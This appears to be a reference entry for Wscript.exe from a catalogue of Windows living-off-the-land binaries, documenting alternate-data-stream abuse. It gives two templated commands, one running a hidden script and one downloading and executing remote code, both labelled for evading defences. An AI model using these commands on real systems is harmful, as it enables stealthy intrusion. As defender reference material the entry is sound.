.. /Wscript.exe
Star

Alternate data streams (WSH)

Used by Windows to execute scripts

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Execute script stored in an alternate data stream

    wscript //e:vbscript {PATH}:script.vbs
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Execute: WSH
  2. Download and execute script stored in an alternate data stream

    echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004